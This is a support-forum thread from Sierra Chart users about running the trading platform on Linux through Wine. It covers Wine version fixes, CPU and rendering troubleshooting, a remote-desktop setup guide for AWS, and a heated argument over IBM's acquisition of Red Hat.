and gui/client part might be wine compatible waiting for a toolkit you will trust or will be able to use
[2018-10-29 00:22:23]
ganz - Posts: 944
https://newsroom.ibm.com/2018-10-28-IBM-To-Acquire-Red-Hat-Completely-Changing-The-Cloud-Landscape-And-Becoming-Worlds-1-Hybrid-Cloud-Provider

it looks like the end of a linux as a desktop
[2018-10-29 06:23:14]
User106072 - Posts: 83
ganz this is completely a false statement :) The Linux desktop usage is measured by the kernel development, number of the desktop providers and their developments and of course the condition of the X system itself.

Redhat is just one of the distros out of the many many others.

Please follow/see these sources:

https://www.kernel.org/
https://www.slant.co/topics/343/~best-linux-desktop-environments
https://www.x.org/wiki/
https://www.techradar.com/news/best-linux-distro
[2018-10-29 06:58:47]
ganz - Posts: 944
User106072
Redhat is just one of the distros out of the many many others
lol

you are completely ignorant. so you better be quiet thnx.
[2018-10-29 10:36:19]
ganz - Posts: 944
it looks like the end of a linux as a desktop
Samsung Open-Source Group Reportedly Shuts Down

https://www.phoronix.com/scan.php?page=news_item&px=Samsung-Open-Source-Closes

Samsung OSG has contributed very heavily to the development of Wayland as well as some X.Org components, Cairo, Enlightenment EFL, the LLVM Clang compiler, GStreamer, FFmpeg, the Linux kernel, and other related code-bases that helped benefit Samsung's open-source/Linux needs across their wide portfolio of products from smart watches to refrigerators.
This may be especially hard-hitting for Wayland considering they were heavily contributing upstream and OSG employees often served as release managers.

[2018-10-29 11:03:52]
User106072 - Posts: 83
lol
you are completely ignorant. so you better be quiet thnx.

Haha. You never know who you're talking to. But thank you very much for your well reasoned and constructive opinion.

But as it allways is just watch and learn.
Date Time Of Last Edit: 2018-10-29 11:10:15
[2018-10-30 02:46:14]
ganz - Posts: 944
User106072
1. RH was the main actor to provide gtk+ and gnome. It was accepted by industry as the main and only solution to deal with.
2. CentOS/RHEL are the only production ready LTS distro with 10 to 14 years
3. Most of linux distros are using unstable libs and progs
4. A lot of them are useing ubuntu. ubuntu had dropped unity 7/8 and near to bancruptcy
5. X Server has legacy base and has no full control to deal with. Links and info were provided here on this forum.
6. Qt5 has a lot of bugs, it's slow and heavy.
7. https://www.cnet.com/news/ibm-sells-its-x86-server-business-to-lenovo-for-2-3-billion/

No matter how many distros are presented. None of them have stable libs, stable production history and predictable future to deal with.
Redhat is just one of the distros out of the many many others.
Only some ignorant clowns are in the position to shout out all that foollness. They do nothing and know even less.
Date Time Of Last Edit: 2018-10-30 04:18:30
[2018-10-30 06:29:58]
User106072 - Posts: 83
ganz
From your 1 liners I wasn't able to quess right the reasons for your opinions. But thanks to your clarifications now I think I do. So you're talking about the development support not the situation where 1 distro out of many others may disappear or change.

Yes, Redhat has been a strong contributor in the Linux industry which also have been a reason why many others have not been. Now depending on what the IBM will do in the future this new situation will possible change only the dynamics: Will there be a new strong developer or is it replaced by the numerous smaller communities.

So it is now very clear for all of us that your opinion is that there will be no more development in the desktops because IBM aquired Redhat.

This is where I disagree with you totally and say it is a false statement.

Linux desktops will not disappear. The Linux industry will patch up the situation IF the IBM will not continue what Redhat has been doing. This kind of situation would and will be a great opportunity for many others.

Just watch.

---

We are fortunate we have this great piece of software called SierraChart. It has been around a very long time. Decades. Let's hope this situation will continue and after 5 or 10 years we can come back and see which one of our opinions were right :D

Happy trading !
the Clown
Date Time Of Last Edit: 2018-10-31 05:40:25
[2018-10-30 06:39:38]
Sierra Chart Engineering - Posts: 72918
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.

And this is really not too much of a stretch, we already have in our active development plans and have partially started the development of voice, video, chat communication, screen sharing, and remote control functionality. All of this is going to be part of Sierra Chart.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2018-10-30 06:42:35
[2018-10-30 06:40:27]
ganz - Posts: 944
User106072
Will there be a new strong developer or is it replaced by the numerous smaller communities.
I'm in since 1993 so i'm sure it'll not happen.

The Linux industry will patch up the situation IF the IBM will not continue what Redhat has been doing.
RH was the only industrial one and this is the core of the problem.
[2018-10-30 06:42:52]
ganz - Posts: 944
SC Support

Yes. This will be cool to get complete Hard'n'Soft trading solution . :)
Date Time Of Last Edit: 2018-10-30 06:44:13
[2018-10-30 06:44:34]
Sierra Chart Engineering - Posts: 72918
Okay good. And some of our new developers are Russian as well.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2018-10-30 06:48:30]
ganz - Posts: 944
SC Support

be careful
don't allow them to interfere of your choices

:))
Date Time Of Last Edit: 2018-10-30 06:52:18
[2018-10-30 07:16:46]
User106072 - Posts: 83
ganz

I'm in since 1993 so i'm sure it'll not happen.
Well. I did a 30 year career in the system and low level programming starting from 1981. I did 3 very succesfull corporate level software business during that time. I also have been using Linux in different situations from early '90. I am now retired and the latest 7 years I've been developing and using proprietary trading systems.

So I think I also have a some kind of understanding and experience about these things.


RH was the only industrial one and this is the core of the problem.

I personally do not see this as a "problem". Companies come and go. If it was the kernel or x.org which was acquired then I would be a bit scary what will happen.

But not now.

There will be a new situation and something new will happen. But first we have to learn what the IBM is doing with it's new puppy. Then we will see how the industry will react and what then happens.

Yours
the Clown
Date Time Of Last Edit: 2018-10-30 07:28:08
[2018-10-30 07:23:53]
User106072 - Posts: 83
SC support
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.
Going to operating system level in SierraChart would change the whole thing. Big step but done properly would and will be a game changer. Definitely !
--- EDIT
Imagine you could boot directly to the trading environment tuned up for the trading only. Safe and stable environment with low latencies. What a great idea !!
Date Time Of Last Edit: 2018-10-30 07:33:54
[2018-10-30 07:31:58]
ganz - Posts: 944
User106072
I personally do not see this as a "problem".
Linux community are waiting for stable linux desktop to get rid of windoze for years
so this is a big problem for me and thousands of people.
[2018-10-30 07:45:02]
User106072 - Posts: 83
ganz
Linux community are waiting for stable linux desktop to get rid of windoze for years
so this is a big problem for me and thousands of people
I and my buddies have had no problems for years with the stability of X so I don't know what you're talking about. Maybe Gnome or other resource eaters can have these problems but haven't liked or used those Windows wannabes ever.

And fundamentally if Redhad didn't do any help in stable linux desktops for years for you or your 1000s of people then there is no harm done if they now go :)
Date Time Of Last Edit: 2018-10-30 08:24:38
[2018-10-30 10:51:14]
ganz - Posts: 944
User106072
Most of your sentences are meaningless in order to get non-windows environment for SC.
So my opinion is still the same. You need to talk less.
[2018-10-30 22:31:15]
ganz - Posts: 944
6. Qt5 has a lot of bugs, it's slow and heavy.
Release Notes for Red Hat Enterprise Linux 7.6
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.6_release_notes/chap-red_hat_enterprise_linux-7.6_release_notes-deprecated_functionality
KDE has been deprecated
KDE Plasma Workspaces (KDE), which has been provided as an alternative to the default GNOME desktop environment has been deprecated.
A future major release of Red Hat Enterprise Linux will no longer support using KDE instead of the default GNOME desktop environment.

[2018-10-31 03:48:42]
ganz - Posts: 944
Obviously some big players like Oracle and HP are fully disappointed by this new reality. (in case it will be done)
So KDE/Qt and Mir might be repaired to the production ready state around Debian ecosystem.
[2018-10-31 03:54:43]
ganz - Posts: 944
if Redhad didn't do any help in stable linux desktops for years ...

it was very close with new Wayland tech and having predictable and acceptable behavior by business and community.
any new attempt takes another 3-5 years or more.
[2018-10-31 05:29:07]
User106072 - Posts: 83
ganz
It would be nice to continue this "opinion debate" but I think it doesn't give any value for others. Quite meaningless I would say.

Before I will stop posting to this matter I will sum up the situation so we don't forget what was it all about:

WHen IBM recently acquired the Redhat:

a) Your opinion: Linux Desktop is Dead
b) My opinion: Linux Desktop is *NOT* dead.

Now. I hope all the best for you and HAPPY TRADING!

Yours
the Clown
Date Time Of Last Edit: 2018-11-01 07:06:58
[2018-11-03 10:15:45]
ganz - Posts: 944
User106072

WHen IBM recently acquired the Redhat:
a) Your opinion: Linux Desktop is Dead

There is no SC linux version.

What else?
[2018-11-03 12:33:01]
BeardPower - Posts: 23
Hi,

It seems that we all have our glass ball we are looking into and it's all just speculation. What will happen, and why IBM was taking over RedHat, can only be answered by IBM. We find out soon enough.
Besides that, no one is hindered coming up with the next stable Linux Desktop, so why should it be dead? Systems don't sell software, but software sells systems. It's like claiming that ADA or COBOL is dead, which is neither right nor does it make much sense.

Regarding an "SC OS": I was thinking about this idea for a while now. The software and hardware landscape is transforming in the next years (thanks to the recent OOO vulnerabilities, RISC-V and other projects fostering Open Source). Many companies are implementing hard- and software from a clean slate, getting rid of legacy cruft and mistakes from the past, which finally enables different Kernel concepts like Exokernels, fast Microkernels and highly reliable and secure new Operating Systems possible. The old Commodore64/Amiga experience, which allowed you to directly "boot" into an IDE/Game/Desktop within seconds, is entirely doable. It does not help though, whining about what other companies did, do or will do. If you want things to change, act! Someone needs to get started, and I don't know why it couldn't be one of us.

Best regards,

Possibly another clown.
[2018-11-03 13:20:14]
User106072 - Posts: 83
BeardPower
Regarding an "SC OS": I was thinking about this idea for a while now.... If you want things to change, act! Someone needs to get started, and I don't know why it couldn't be one of us.
I also have been thinking this scenario a lot lately. The more I think it the more it makes sense. Yes to make a bootable (docker/VM/hard) image including all the necessary components for the sierra is not a very complicated task to do but I see the support is the real question here.

I too remember very well C64/Amiga in the '80 (My first micro was Vic-20). I did many graphics demos for the Amiga because it had those amazing copper/blitter and other features well suited for gfx. But I have to say the 8088/86 XT which I purchased 1984 with the MS-DOS (or was it PC-DOS) was a fast booting OS too.

btw. wellcome to group of clowns. Clown Power !
Date Time Of Last Edit: 2018-11-03 13:26:46
[2018-11-03 15:32:42]
ganz - Posts: 944
Dear "group of clowns"

where is the stable, reliable and lightweight tool like winapi/gdi is?

do you know some? just point at it to inform these "silly" SC devs.

very easy.
Date Time Of Last Edit: 2018-11-03 15:35:00
[2018-11-04 15:45:48]
ganz - Posts: 944
Some funny graphs.

https://bugs.debian.org/release-critical/
[2018-11-04 16:02:14]
ganz - Posts: 944
Another part of a happy picture

https://bugs.centos.org/
Date Time Of Last Edit: 2018-11-04 16:02:22
[2018-11-11 16:20:17]
ertrader - Posts: 199
Good news!! In regards to post #53 and the replay issue I was having on wine 3.03 stable and Mint 18 and 19.

In the latest development release Wine 3.20, Crossover 18 and Wine 3.6 (Ubuntu 3.6-1), this is resolved.

At this point, I am unaware of any further compatibility issues with SC and Linux/Wine as long as CTS trading-DTC or IB Linux TWS is used.

https://www.sierrachart.com/index.php?page=doc/CTS_T4.php#SetupInstructionsForAdvancedLowCostConnectionModel
Date Time Of Last Edit: 2018-11-11 16:47:00
[2018-11-11 17:01:11]
AlexPereira - Posts: 130
ertrader:

Its not about wine 3.20 only, it has been resolved for some months now, that and the tradewindow also. ( you can now open and close trade window as much as you want ).

Also , 64-bit version , in the latest versions, have the "trade activity window" fixed ( previously, it was working in 32bit but not 64bit ).

Also, latest development of not needing FREEDLL also works nicelly with reloading dll's in linux ( I had an issue where it would work perfectly ( reload dll with freedll = 1 ) in windows but not on linux ).

thus.... I have searched and searched, and I cannot find any issue with linux version as of latest SC versions ( 32bit and 64bit ).

Is anything not working that I can test ?
[2018-11-11 23:18:27]
ertrader - Posts: 199
Good to hear and thank you. As best I am aware, all is working on my system with SC 64 bit and Wine 64 bit. I also had issues with trade window activity but it is working too.

I use my own custom ACSIL so have not tested anything relating to spreadsheets. If you have experience in this area, that would be helpful for others reading this forum to know.
[2018-11-12 02:35:17]
User677924 - Posts: 21
I have Arch linux running with XFCE , Plasma , LXDE desktop time to time. These desktops are fast compared to others like cinnamon,Matte or Gnome. When I fresh install through wine. Then copy the chartbook from windows 7.0 OS to linux. The whole ordering system get messed up. I have to fix the limit and stop orders on both sides buy and sell. the trade activity window never worked. Today first time looks like fixed. Performance is great.After windows 7.0 I don't see any stable windows OS around. Good time to setup Plan B such as Linux.
[2018-11-12 13:55:28]
User106072 - Posts: 83
I tried the latest SierraChart in the Linux VirtualBox (5.2.20 r125813) as follows,

debian 9.6
kernel 4.9.0-8-amd64
xfce4 (4.12.3)
wine-3.0.3
sierrachart 1837 64-bit

Everything else I tried is running ok except when I Open or Close the Trade Window (attached or not) I will receive a "ConfigureTradeWindowTabs exception" into Message Log. I think I should upgrade wine to latest and see how it then goes...

Edit
And it goes well. With the wine-3.2 there is no more messages in the log.
Date Time Of Last Edit: 2018-11-12 17:52:14
[2018-11-12 14:13:45]
ertrader - Posts: 199
You may want to see if wine 3.20 works for you. This is a development version that has fixes for a number of issues. I do not know when the next wine stable is being released.

When I updated from Wine 3.03 stable to Wine 3.20 development, I did have a Linux configuration error message "W: Target package is configure multiple times" when updates would run. I have seen this before with other applications and was able to get if fixed using the following link:

https://askubuntu.com/questions/760896/how-can-i-fix-apt-error-w-target-packages-is-configured-multiple-times
Date Time Of Last Edit: 2018-11-12 14:17:01
[2018-11-12 14:23:11]
AlexPereira - Posts: 130
I am currently emerging wine 3.20, still on 3.19. I should have mentioned that I am using wine development versions ( 3.XX ) and not wine stable versions ( 3.0X ). So even if your distribution only has 3.19 or 3.18, it should work.

Also, to anyone interested, if you want to try wine-staging with gtk theme, it should also everything work. ( didn't catch any major usuability or performance problems )
[2018-11-12 16:00:13]
User106072 - Posts: 83
ertrader
You may want to see if wine 3.20 works for you.

I updated to Wine 3.2 and the "problem" is now fixed.
[2018-11-13 07:53:57]
ganz - Posts: 944
User677924

These desktops are fast compared to others like cinnamon,Matte or Gnome.

use mate tweak to get rid of any animations and compositors or try comppton GPU driven

https://sites.google.com/site/easylinuxtipsproject/mint-mate-first#TOC-Install-MATE-Tweak-for-more-configuration-options
[2018-11-26 12:27:52]
BeardPower - Posts: 23
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.

And this is really not too much of a stretch, we already have in our active development plans and have partially started the development of voice, video, chat communication, screen sharing, and remote control functionality. All of this is going to be part of Sierra Chart.

Are you referring to adopting an existing OS or to create one from scratch?
Considering the big change in hardware (NEO, Mill, RISC-V) there are exciting times ahead where a company is able to make a dent again. There are a lot of exciting projects (Exokernel, Unikernel, Multikernel), which are, unfortunately, PoCs and of academic nature. Anyway, someone has to start, right?

Going to operating system level in SierraChart would change the whole thing. Big step but done properly would and will be a game changer. Definitely !
--- EDIT
Imagine you could boot directly to the trading environment tuned up for the trading only. Safe and stable environment with low latencies. What a great idea !!

For sure. Running on some passive cooled SBC (Single Board Computer) utilizing the FPGA which comes with it.

Another big advantage: only SC is to be blamed if things go awry, assuming they also provide SCOS (Sierra Chart OS) ;-).
Date Time Of Last Edit: 2018-11-26 13:50:15
[2018-12-06 16:53:07]
ganz - Posts: 944
With GCC 7.4 being the first GCC7 update since v7.3 from this past January, there are a lot of regression/bug fixes. In fact, GNU Compiler Collection developers report that more than 100 bugs have been fixed in this latest stable point release

[2018-12-07 01:00:54]
ganz - Posts: 944
Just in time for the end of the year, we have released Qt 5.12 LTS today. This is a long-term-supported (LTS) release that we will support for 3 years to come. We have had a strong focus on quality and fixed more than 2000 bugs since the last Qt LTS version, Qt 5.9.7 – make that over 5000 bugfixes since Qt 5.6.3. Of course, this is only the start, and we will work hard on continuously improving the quality of Qt 5.12 in upcoming patches

[2018-12-18 13:25:46]
T44 - Posts: 180
User Discussion: Configuration for Linux users

As Linux is not supported on Sierra, Linux users may wish to do the following

1. Register with an Infrastructure as a Service (IaaS or “Cloud Computing”) vendor

In this example, we use Amazon. Depending on your Sierra use case, you may be able to run this free for a year in the AWS free tier.

2. Create a Compute Instance with Windows Server 2008

In AWS EC2, Instances, Launch Instance, search for ‘Windows’, and choose
Microsoft Windows Server 2008 R2 Base - ami-079c6d294ed9a73d0
Microsoft Windows 2008 R2 SP1 Datacenter edition, 64-bit architecture. [English]

Then select your desired instance type. T2.micro may be free tier eligible.

3. Follow the documentation to log in as Administrator

In AWS, you’ll need to provide (or generate) a *pem and then upload this to decrypt your password

Use your Linux package manager to install ‘rdesktop’
then run from a shell (where 2560x1600 is your desired resolution and ec2-XXXX.compute.amazonaws.com is your EC2 hostname or IP)

rdesktop -x b -z -K -u Administrator -g 2560x1600 ec2-XXXX.compute.amazonaws.com

4. Install the Desktop Experience in Windows 2008 Server

Start Server Manager.
Click Features.
Click Add Features.
On the Select Features page, select the Desktop Experience checkbox.
Review the information about other features that are required by the Desktop Experience feature, and click Add Required Features.
Follow the prompts and finish the installation.

5. Install remote desktop services on Windows 2008 Server

Log in to the RDS host as an administrator.
Start Server Manager.
Select Roles in the navigation tree.
Click Add Roles to start the Add Role wizard.
Select the role Remote Desktop Services.
On the Select Role Services page, select Remote Desktop Session Host.
On the Specify Authentication Method page, select Do not require Network Level Authentication (Linux rdesktop client can’t provide this)
On the Configure Client Experience page, select the functionality that you want to provide to users.
Follow the prompts and finish the installation.

6. Create a user for Sierra chart
Normal Windows procedure.

7. Disable Internet Explorer Enhanced Security
Search the web for instructions.

8. Connect to your Sierra chart user with rdesktop

Download and install Sierra Chart with Internet Explorer

9. Optional step

Transfer your files and settings – web based email, your own webserver, or S3 storage works well.

10. Enjoy using Sierra Chart from your Linux desktop without any compatibility issues :-)
[2018-12-20 01:38:36]
ertrader - Posts: 199
Wine 4.0 RC2 development has been released and is working great. No known issues. Expecting Wine 4.0 stable within 2-3 weeks. Wine continues to provide great support with Sierra Charts and has eliminated the need for Windows.
Date Time Of Last Edit: 2018-12-20 01:46:27
[2019-01-06 03:59:05]
ganz - Posts: 944
Google Devs Call Open-Source NVIDIA Driver Unstable, Nouveau Blacklisted By Chrome

[2019-01-10 02:00:41]
ertrader - Posts: 199
I detected a memory leak in Wine 4.0 RC2. Updating to Wine 4.0 RC5 appears to have fixed the issue but I will be monitoring.

This issue was detected simply by using the System Monitor and watching how much ram SC was taking up over time. SC would start off with fairly reasonable memory usage (<500 meg) but then grow to consume all memory in a couple days (20 Gig).

Exiting SC and reentering solved the issue temporarily once discovered. Symptoms included complete system freeze requiring hard reboot. There was no error log created so that did not help find the issue.
Date Time Of Last Edit: 2019-01-10 02:09:06
[2019-01-12 19:56:00]
AlexPereira - Posts: 130
ertrader, do you have problems with latest versions of SierraChart ?

I notice that testing with 15 loaded instruments, it has problems connecting at startup.
On contrary, no problems happen whatsoever in version 1837.

With 5 or less instruments, latests versions also connect.
[2019-01-13 07:09:05]
User75096 - Posts: 36
Here the same till 1847 all is perfect, since 48 max 4 instruments,open a dashboard no chance, permanent reconnecting,
im running wine 4.0rc5
[2019-01-13 12:39:32]
AlexPereira - Posts: 130
thanks User75096.

A wild guess, maybe this on the changelogs:
Increased the throughput of the network socket core within Sierra Chart. This really is only applicable when Sierra Chart is sending large amounts of data through its DTC server.

[2019-01-13 18:57:07]
ertrader - Posts: 199
Yes, I have noticed performance issues primarily with the Market depth study. It was affecting startup times that were taking longer and longer. I ended up removing it from all but one chart to gain performance back. Startup went from 3-4 minutes loading charts to less than 25 seconds. Once the charts are up, I have not seen any performance issues but my setup does not appear to have as many charts as what you describe.

I updated to Wine 4.0 RC6 (released 1/12/19) and SC V1859 over the weekend and will look for any performance issues this week.

On another note, the trading group I work with (60-70 traders) has stayed at SC V1847 32 bit Windows due to a graphics issue and we are trying to get it resolved with the programmer. My Linux system does not use the same grid study as the trading room so I have been able to keep updating. Something changed after V1847 but it is unclear and has been rather difficult to track down.
https://www.sierrachart.com/SupportBoard.php?ThreadID=39434
Date Time Of Last Edit: 2019-01-13 19:17:58
[2019-01-13 20:36:08]
AlexPereira - Posts: 130
Thanks!

If I find anything new I will let you guys know. Also please do the same !
[2019-01-14 01:21:53]
User75096 - Posts: 36
Jup. I stay with 1847 if there is something I new, I wool let you know, the graphic on windows is far from the the same in Linux, even 1859 and 1860 is not working for me, for performance I delete always the old market depth
[2019-01-23 13:23:07]
ertrader - Posts: 199
There was a CTS log in issue this morning. It was unrelated to Linux or Wine and was resolved with an update to V1865. I have not seen any performance issues and I have added a couple instruments for testing that added 36 charts
Date Time Of Last Edit: 2019-01-23 13:23:44
[2019-01-23 16:36:10]
AlexPereira - Posts: 130
One thing that I have tried, is using instances, where the server is version 1847 ( which has no problem always connecting ) and sub-instance using the latests versions.

But I don't know if there is problems using different versions. Also its not very nice, that sub-instances will use the same number of instruments as the server ( for example, I have 20 instruments on server connected, even if the sub-instance isn't using any instrument, it will still connect to those 20 and download the scid files )

Did anyone of the more experienced users of SierraChart ever tried different versions between server and instances ?
[2019-01-23 16:59:05]
User75096 - Posts: 36
My style is in the moment, open server 1865, than sec. Instance, open the chart books but not connected, after downloading over Sierra connecting the 2. Instance, very suboptimal but it works
[2019-01-24 04:18:54]
ertrader - Posts: 199
FYI: Wine 4.0 stable was released today. Performance is good, no issues on my system have identified at this time. Also, I don't currently use secondary instances so do not have any input on that subject for now.
[2019-03-04 18:59:56]
ganz - Posts: 944
I'd suggest Mint is a better choice for you initial live system. Play with arch, learn stuff. But for live use something boring like Mint :)

https://mxlinux.org/
[2019-03-12 09:22:06]
sunnyod - Posts: 194
Hey All,

Just joined the SC Linux community over the past week and have been getting to know how things work in this space. Thanks for all the contributors to this thread (esp all the clowns!) - could be my fav thread on SC forums to date!

To test it all out, initially I installed linux mint 19 on virtualbox (6 core, 8GB RAM, 128MB VRAM), mounted the Sierra chart SSD I use in windows and installed Wine 3.0 stable along with mscorefonts and all latest updates for mint. I got a basic 2 chart chartbook running pretty quickly and was shocked by the speed of the rendering and tiny latency. Cores were not maxed, so I decided to try another more intense chartbook that I use regularly on my windows install. In windows the CPU single core usage of the intensive chartbook is around 70% but it runs flawlessly. When I tried running the same chartbook on mint the single core utilisation hit 100% pretty quickly and would load a couple charts then basically stop loading at all. I'm guessing that wine and SC were sharing the same core, hence the 100% utilisation.

So, I decided to install mint again but on hardware instead of VM. Installed mint 19 onto dedicated SSD, updated drivers and recommended nvidia etc and again mounted my sierra SSD drive and ran with wine 3.0. Same issue... basic chart runs like a bat out of hell but more complex chartbooks all seem to lock up with single cpu core at 100%. I tried updating to nvidia 418x and also wine 4.0 stable, but same thing

One thing I’ve not tried is installing SC natively in linux instead of the windows drive method, is that worth trying? (was hoping to keep the windows drive setup so i can straddle both OS for a bit but will change it if it works natively)

Poking around in google I've found some threads on how 100% cpu can be caused when wine and main process share same core but surely there must be a way to tell wine to use a different core? Or maybe that's not the problem in this case, i'm not sure.

Any ideas how I can get these chartbooks to work? Any help appreciated as i'd love to switch over from shitty windoze - stat!

Oh one other issue I saw was rendering of the line type 'dash' and 'dot'. Looks like the dots are there but there're big gaps between them. The dash is just a solid line. Same with nvidia 390 and 418 drives and wine 3.0 and 4.0. Anyone know a fix for this?

Thanks
Sunny
Date Time Of Last Edit: 2019-03-12 09:35:29
[2019-03-12 09:52:14]
ticinotrader - Posts: 140
Hi,
I can not comment on the first half of your questions because I do not experience these CPU issues (Mint 19.1 wine 4.3 on quite average laptops). I followed ertrader's instructions when setup my system.

For the dash/dot display issue: it is not related to win or drivers. try to select 'alternate' line type instead of dot. There was a change recently (some versions ago) in SC that affects this. Alternate line mode will give you the correct dotted lines.

Hope this helps.
regards, tt.
[2019-03-12 09:55:36]
sunnyod - Posts: 194
Thanks TT... Love your youtube vids btw :)
[2019-03-12 10:02:02]
ganz - Posts: 944
sunnyod
Thanks for all the contributors to this thread (esp all the clowns!) - could be my fav thread on SC forums to date!
Any help appreciated as i'd love to switch over from shitty windoze - stat!
welcome to the list

vector<Clown> Clowns;
Clowns.push_back(Clown(sunnyod));

[2019-03-13 09:45:00]
sunnyod - Posts: 194
Quick update. I've been looking into this a little more today and have found that sierra only seems to lock up on the chartbooks when CPU hits 100% on the core. I tested this by loading one of the complex chartbooks in windows, reducing the number of charts in in from 5 to 2, saving it and then running it in linux mint. The chartbook opens fine and runs great up until I zoom out fully on one of the charts. Then sierra hangs and I have to force quit it.

I've tried using 'taskset' to allocate sierra process to a specific CPU and then used 'nice' to try and stop other processes using the same CPU but that's not pushing other processes off the CPU for some reason. I don't think this would help in any case as the other non sierra processes sharing the CPU are barely using any cycles.

I also installed Sierra from scratch using wine and opened the same cut down chartbook on there but same issue, so don't think the sierra settings are to blame here.

Also worth noting is the fact that i'm using Ryzen CPU. Although, I've not found any issues like this reported online


Does anyone else have this issue if the core running the sierra process hits 100%?

Any ideas?

Thanks,
Sunny
Date Time Of Last Edit: 2019-03-13 10:09:53
[2019-03-13 10:25:21]
ertrader - Posts: 199
Hi Sunny... great to have you on SC and the forum!
I've not had any issues lately even with medium to large chart books (20-25 charts each with 8-12+ studies) running 24/7 on older hardware and loads fast. I am using an Intel CPU however with an AMD GPU.

Searching the Mint forum I did see a couple things that may possibly related.
Ensure using latest bios: https://forums.linuxmint.com/viewtopic.php?t=285701
Possible video driver issue: https://forums.linuxmint.com/viewtopic.php?t=256296

Do you have a way to test an AMD GPU? I've had both Nvidia and AMD GPU's and seem to have better stability with AMD and they are not too expensive.
Date Time Of Last Edit: 2019-03-13 10:32:20
[2019-03-13 10:41:02]
AlexPereira - Posts: 130
sunnyod:

Do you have any chart that uses transparency ? especially the transparent fill top/bottom? the rectangle transparent fill is much better and usable ( I have an amd card, don't know how it handles on nvidia ).

Can you share the tricky chartbook ? especially the one that locks up with 5 charts.
[2019-03-13 12:24:05]
sunnyod - Posts: 194
Hi guys thanks for the replies! I'm using Nvidia but assuming that the CPU 100% thing may be more Ryzen related? I got the same issue on the 390 and latest 418 Nvidia divers.

I think my motherboard bios is up to date but will check when I'm home if there's an update that...

Alex thanks I'll look into the suggestions. I was using transparency but think I switched it all to non transparent but that may be the issue. Will have a play and send over the chart book later after having a play

Cheers all!
[2019-03-13 12:35:47]
AlexPereira - Posts: 130
Will have a play and send over the chart book later after having a play

try to remove all your "trading proprietary stuff" :) and have the chart still do the 100% cpu thing, and I and i guess others too will try to help you, since its much easier if we can reproduce it locally !

if your really suspicious about your ryzen and linux, you can take a look at: https://github.com/Oxalin/ryzen-test and more info at : https://www.reddit.com/r/Amd/comments/8e1peo/how_to_check_ryzen_segfault_bug/
[2019-03-13 13:01:53]
sunnyod - Posts: 194
Awesome stuff man. Thanks Alex. Im back in windows atm but will have a look tonight
[2019-03-13 19:49:03]
sunnyod - Posts: 194
Alex, you're a ledge! Was the fill to zero that was messing things up. Working perfectly now after changing everything to rectangle based. Really impressed with the speed of stuff, never expected this much improvement. In windows my main chart had about 60-150ms latency. Now its running 22-45ms !

Thanks everyone for your inputs, really appreciated
[2019-05-27 01:03:33]
ertrader - Posts: 199
Just a few quick notes: Updates in SC have progressed without any issues up to V1924. Wine on Linux has been extremely stable... actually cannot remember the last time I had any wine/Linux issues. Hopefully everyone else is experiencing the same!

The new routing service is working well after a few initial issues.
https://www.sierrachart.com/SupportBoard.php?ThreadID=41767

Auto trading is working without any issues.

Best regards
[2019-05-27 04:55:16]
sunnyod - Posts: 194
Yup same Etrader. Expecting the imminent opengl to possibly throw us a curve ball though, will be interesting.

Anyone know if opengl may present an issue (Sierra?)? I'm guessing wine may even handle it better, but I'm fairly new to running SC on linux
[2019-05-27 05:18:42]
Kiwi - Posts: 266
I would imagine it will be fine (running wine 4.0.1 on mint 19.1) but you can never been certain. There are a lot of moving parts in software.

I keep a copy of the last totally stable SC in a directory in case something goes awry. Then I can just copy in the executable & revert if it does.

To post a message in this thread, you need to login with your Sierra Chart account:

Login

Login Page - Create Account